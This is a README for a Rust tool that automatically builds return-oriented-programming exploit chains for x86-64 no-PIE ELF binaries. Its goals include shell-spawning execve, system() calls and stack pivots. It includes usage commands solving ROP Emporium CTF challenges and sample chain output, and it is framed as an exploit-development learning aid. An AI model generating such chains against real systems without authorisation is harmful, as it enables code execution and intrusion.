An auto-chaining ROP (Return-Oriented Programming) exploit builder for x86-64 ELF, written in Rust.
Point it at a no-PIE ELF and it finds gadgets, reasons about what each one does,
and auto-assembles a working execve("/bin/sh") ROP chain — the part where
ropper/ROPgadget stop and you normally start puzzling by hand.
⚠️ A CTF / exploit-dev learning tool. Use it only on binaries you own or are authorized to test. Ships with an intentionally-vulnerable demo binary only.
ELF ──▶ [load] ──▶ [find + classify gadgets] ──▶ [solve] ──▶ [emit]
goblin iced-x86, by semantic effect register listing / raw /
solver pwntools
- Semantic gadget catalog — gadgets are indexed by effect (
pop rdi, multi-pop, write-what-where,syscall, …), not by text. - Register solver — finds and orders a gadget sequence to set argument registers,
preferring
xorfor null-free zeros, using multi-pop gadgets when single pops are absent. - Automatic string sourcing — reuses an existing string, or synthesizes a write-what-where sub-chain to plant it in writable memory.
- Goals:
execve(syscall),call(function + register/string args, call sequences),system(via the PLT),ret2csu(__libc_csu_initfor args with no direct pop),pivot(two-stage stack pivot with a runtime-leaked buffer + GOT-based function resolution),fluff(byte-by-byte string build viaxlatb/stosb/bextrwhen there is no write-what-where), with symbol + PLT resolution. --badchars— avoid forbidden bytes in gadget addresses and stack values.
Needs Rust (any recent stable). Then:
cargo build
cargo testcargo run --example gen_fixture # write 3 demo ELFs to fixtures/
cargo run -- fixtures/demo.elf # execve, reuses an existing "/bin/sh" string
cargo run -- fixtures/demo_write.elf # no string -> solver plants it (write-what-where)
cargo run -- fixtures/demo.elf --format pwntools # paste-ready payload
cargo run -- fixtures/demo.elf --list # dump all gadgetsOn real targets — solves all 8 ROP Emporium x86-64 challenges,
all execution-verified (each prints its ROPE{...} flag; see verify/):
cargo run -- ret2win --goal call --func ret2win --align # call a function
cargo run -- split --goal system --cmd "/bin/cat flag.txt" --align # system() via PLT
cargo run -- callme --goal call --func callme_one,callme_two,callme_three --args 0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d
cargo run -- write4 --goal call --func print_file --arg-str "flag.txt" # write string, then call
cargo run -- ret2csu --goal ret2csu --func ret2win --align --args 0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d
cargo run -- badchars --goal call --func print_file --arg-str "flag.txt" --badchars 78,67,61,2e --align # XOR-encode past bad bytes
cargo run -- pivot --goal pivot --func ret2win --lib libpivot.so # two-stage stack pivot
cargo run -- fluff --goal fluff --func print_file --arg-str flag.txt # build string via xlatb/stosb/bextr--align prepends a ret gadget to keep the stack 16-byte aligned for libc calls
(the movaps crash). pivot emits two payloads and (via --format pwntools) a full
interactive exploit that leaks the buffer, plants stage 2, then pivots onto it. fluff
has no write-what-where and no pop rdi: it builds the filename one byte at a time
(bextr sets rbx, xlatb loads al = [rbx+al], stosb writes it) and sources rdi
from __libc_csu_init — the solver computes the whole per-byte al schedule.
Example output:
0x0000000000400078 ; pop rdi; ret
0x0000000000400082 ; rdi = 0x400082
0x000000000040007a ; pop rsi; ret
0x0000000000000000 ; rsi = 0x0
...
0x0000000000400080 ; syscall
Chains are validated by an in-process simulator (src/sim.rs) that steps through the
chain over a modelled stack/registers/memory and asserts it reaches
execve("/bin/sh", 0, 0) — deterministic and cross-platform, no ELF execution needed.
x86-64 ELF, no-PIE. Goals: execve, call, system, ret2csu, pivot, fluff
(the full ROP Emporium x86-64 set, 8/8 execution-verified). Roadmap: 32-bit, ARM64,
PE, PIE/ASLR, and a broadened evaluation vs. angrop/ropper.
MIT